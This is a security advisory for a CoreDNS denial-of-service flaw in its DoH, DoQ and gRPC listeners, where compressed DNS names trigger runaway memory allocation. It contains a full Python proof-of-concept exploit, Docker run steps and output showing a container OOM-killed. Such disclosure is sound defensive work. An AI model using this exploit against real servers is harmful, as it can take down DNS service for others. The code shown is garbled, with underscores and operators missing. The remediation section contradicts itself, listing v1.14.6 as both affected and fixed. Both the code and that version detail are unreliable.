GHSA-mrg3-qvqr-jw29: High severity go/github.com/coredns/coredns vulnerability
Summary
CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS.
Details
The affected request paths call dns.Msg.Unpack directly:
- DoH POST and GET decoding. DoH3 uses the same decoder. - DoQ stream handling. - DNS-over-gRPC query handling.
This differs from the miekg/dns UDP and TCP server. Its serveDNS path decodes the fixed 12-byte header and invokes DefaultMsgAcceptFunc before unpacking the DNS sections. The default policy rejects requests unless QDCOUNT is exactly one and also limits the other section counts. CoreDNS's custom transports bypass this early validation.
Parsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply dns.DefaultMsgAcceptFunc to the fixed header before calling Msg.Unpack in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers.
PoC
The PoC runs against the DoH server.
Run the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback.
Save this as Corefile.cd01:
text https://.:8053 { tls /cert.pem /key.pem whoami }
Save this standard-library client as poc-cd01.py:
python #!/usr/bin/env python3 import argparse import concurrent.futures from collections import Counter import http.client import ssl import struct
def normalquery(): header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1) return header + question, 1
def attackquery(): message = bytearray(65535) offset = 12 nameoffset = offset
for size in (63, 63, 63, 61): message[offset] = size offset += 1 message[offset : offset + size] = b"\x01" size offset += size
message[offset] = 0 offset += 1 struct.packinto("!HH", message, offset, 1, 1) offset += 4 questions = 1
while offset + 6 <= len(message): struct.packinto("!HHH", message, offset, 0xC000 | nameoffset, 1, 1) offset += 6 questions += 1
struct.packinto( "!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0 ) return bytes(message[:offset]), questions
def send(payload): context = ssl.createunverifiedcontext() connection = http.client.HTTPSConnection( "127.0.0.1", 18053, timeout=3, context=context ) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() response.read() return f"http-{response.status}" except Exception: return "error" finally: connection.close()
def main(): parser = argparse.ArgumentParser() parser.addargument("--normal", action="storetrue") parser.addargument("--workers", type=int, default=1) args = parser.parseargs()
payload, questions = normalquery() if args.normal else attackquery() print( f"payload={len(payload)} questions={questions} workers={args.workers}" ) with concurrent.futures.ThreadPoolExecutor(args.workers) as pool: results = pool.map(send, [payload] args.workers) print(Counter(results))
if name == "main": main()
Build the Linux binary and container image:
sh GOCACHE=/tmp/coredns-gocache \ GOOS=linux GOARCH="$(go env GOARCH)" CGOENABLED=0 \ go build -tags=grpcnotrace -o coredns . docker build --tag coredns-cd01:vulnerable .
Start CoreDNS with a 64 MiB memory and swap limit:
sh docker run --detach --name coredns-cd01 \ --memory 64m --memory-swap 64m \ --publish 127.0.0.1:18053:8053/tcp \ --volume "$PWD/Corefile.cd01:/Corefile:ro" \ --volume "$PWD/plugin/tls/testcert.pem:/cert.pem:ro" \ --volume "$PWD/plugin/tls/testkey.pem:/key.pem:ro" \ coredns-cd01:vulnerable -conf /Corefile
Confirm that the listener works and that one malicious request is accepted:
console $ python3 poc-cd01.py --normal payload=29 questions=1 workers=1 Counter({'http-200': 1})
$ python3 poc-cd01.py payload=65533 questions=10878 workers=1 Counter({'http-200': 1})
Send 32 malicious requests concurrently and inspect the container:
console $ python3 poc-cd01.py --workers 32 payload=65533 questions=10878 workers=32 Counter({'error': 32})
$ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01 exited OOMKilled=true ExitCode=137
OOMKilled=true confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error.
Impact
This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking.
In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service.
CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/coredns/corednsto a version that resolves this vulnerability.Fixed in 1.14.7 - Upgrade
Upgrade
CoreDNSto a version that resolves this vulnerability.Fixed in v1.14.6 - Configuration
In CoreDNS, update the custom request transport(s) for DNS-over-gRPC, DoH/DoH3, and DoQ so that the fixed 12-byte header is accepted using dns.DefaultMsgAcceptFunc before calling Msg.Unpack (the vulnerability exists because parsing attacker-controlled section counts happens before validation on these listener paths).
CoreDNS (custom DNS-over-gRPC/DoH/DoQ/DoH3 request transports) dns.DefaultMsgAcceptFunc invocation order = Apply dns.DefaultMsgAcceptFunc to the fixed header before calling Msg.Unpack in each custom request transport
Event History
Frequently Asked Questions
Which CoreDNS deployments are exposed?
Deployments that accept DNS-over-HTTPS, including DoH3, DNS-over-QUIC, or DNS-over-gRPC requests are affected. The described vulnerable decoding paths are specific to those listener types.
What does an attacker need to exploit this issue?
An unauthenticated client needs network access to an affected listener. The attacker can send a DNS request using name compression that causes disproportionately large memory allocation during unpacking; concurrent requests can exhaust memory and terminate CoreDNS.